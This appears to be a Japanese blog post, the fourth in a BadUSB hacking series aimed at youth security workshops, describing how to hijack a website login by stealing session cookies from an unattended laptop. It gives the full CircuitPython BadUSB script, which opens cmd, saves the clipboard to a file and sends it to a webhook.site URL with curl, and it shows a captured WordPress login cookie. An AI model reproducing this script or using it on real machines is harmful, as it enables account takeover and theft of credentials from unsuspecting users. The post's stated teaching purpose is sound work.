AI要約
BadUSBハッキングシリーズ第4弾。離席中の僅かな隙を狙い、標的PCからログイン済みの証明であるCookie(セッションID)を奪取。ID・パスワードなしでWebサイトへ不正ログインする脅威を検証します。
はじめに
「BadUSBを作ってハッキングする」シリーズ。前回はターゲットPCに簡易的なランサムウェアを仕込みました。
第4回は、ターゲットが利用しているWebサイトにハッカーが不正ログインします。以下、WordPress製のサイトを対象にしますが、Twitter(新X)、Instagramもログインできます。実際にやるとそのまんま「不正アクセス禁止法」に引っかかりますのでご注意ください。

シナリオ
シナリオは、ターゲットがカフェでノートPCを操作し、トイレのために離席するシーン。

ハッカーはわずかな時間で、ターゲットが利用するこのWebサイトのログイン権限を盗みます。下の画像は未ログイン状態です。

ターゲットのIDとパスワードを盗むのではなく、ログイン済みであることを証明する通行手形「セッションID」を盗んで、ハッカーのPCでもログイン済みの状態を再現します。
セッションIDを盗んで不正ログインする手順
まず、ターゲットPCではWebサイトにログイン済みとします。こちらがその画面。

ハッカーがさりげなくターゲットの席に着くと、F12(デベロッパーツール) → アプリケーション → Cookie でこのサイトのCookieを表示し、ctrl+A で全てコピーします。

BadUSBを挿して、クリップボードにコピーしてある内容を数秒でハッカーのサーバーに送ります。ハッカーは画面を元に戻して立ち去ります。
ここでターゲットが席に戻りますが、何かされたことに気が付きません (^^;
ハッカーのPCで対象のサイトにアクセスします。当然、このように未ログインの状態です。

EditThisCookieなどの拡張機能を使って、このサイトのCookieにセッションIDを追加します。

ページをリロードすると、ログインされた状態になりました!

これでターゲットになりすまして閲覧できます。
なお、ターゲットがサイトからログアウトするとセッションIDが無効になり、ハッカーもサイトから閉め出されます。ハッカーはその前に”仕事”を終えるか、もしくは個人ブログなんかであれば、管理画面に行って自分を管理ユーザーに登録して永続的なログイン権を得ることもできるでしょう。
hacking.py
それでは、BadUSB内のコードを見ていきます。今回は「挿すだけでログイン情報が取れる」とまではいかず、クリップボードの内容を素早くハッカーのサーバーに送るだけです。
今回もウェブフックサービスを借ります。「Webhook.site」を開き、一時的に発行されたURLを取得します。

import time
import usb_hid
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_jp import KeyboardLayoutJP
print("自動実行の準備をします...")
# キーボードとして認識されるまで少し待つ
time.sleep(1)
# キーボードの初期化
keyboard = Keyboard(usb_hid.devices)
# キーボードレイアウトの初期化
layout = KeyboardLayoutJP(keyboard)
print("処理を開始します...")
# Windowsキー + R で「ファイル名を指定して実行」
keyboard.send(Keycode.GUI, Keycode.R)
time.sleep(0.5) # ウインドウが開くときは少し待機
# コマンドプロンプト(cmd)を開く
layout.write("cmd")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機
# 「chcp 65001」でUTF-8に切り替え
layout.write("chcp 65001")
keyboard.send(Keycode.ENTER)
# ターゲットのデスクトップに移動
# %USERPROFILE% = C:\Users\(USERNAME) の意味
layout.write("cd %USERPROFILE%\Desktop")
keyboard.send(Keycode.ENTER)
# 空のtmp.txtを作っておく
layout.write("echo. > tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # 保存のため少し待機
# tmp.txtを開く
layout.write("notepad tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機
# クリップボードの中身を貼り付け
keyboard.send(Keycode.CONTROL, Keycode.V)
time.sleep(0.5) # 貼り付け完了を待つ
# 上書き保存して閉じる。Ctrl+S(保存)➔ Alt+F4(閉じる)
keyboard.send(Keycode.CONTROL, Keycode.S)
time.sleep(0.5)
keyboard.send(Keycode.ALT, Keycode.F4)
time.sleep(0.5) # メモ帳が閉じてcmdにフォーカスが戻るのを待つ
# curlコマンドでtmp.txtの中身をウェブフックサービスに送る
layout.write("curl -d @tmp.txt https://webhook.site/8e090585-d224-4edb-9a77-a7f3e755b7c8")
keyboard.send(Keycode.ENTER)
# 不要になったtmp.txtを削除
layout.write("del tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # 削除のため少し待機
# 「exit」と入力してcmdを閉じる
layout.write("exit")
keyboard.send(Keycode.ENTER)
print("処理が完了しました")実行すると、コマンドプロンプトが開いてババババーっとなります。

サーバー側を見ると、ターゲットが持っていたCookieを受け取っています。

この中からログインのセッションIDを探すと、ありました。
名前
wordpress_logged_in_ff2ab7242ca6c4432a4af483b08225e7
値
yasuda%7C1783365379%7COOJkVStqdjFPYCKVe8rnwpBJNG70F5i66pxytmU3YXT%7C0a301117789a3073fa59ab22e499a99a0b45e8093e33051ee449496281ae5bf2この方法でWordPressのサイトだけでなく、Twitter(新X)、Instagramもログインできました(え!
おわりに
BadUSBシリーズは、ここで一旦終わりにしたいと思います。
中高生向けワークショップではこのリアルなハッキング体験を通して、セキュリティや技術の二面性を学んでもらいたいと思います。



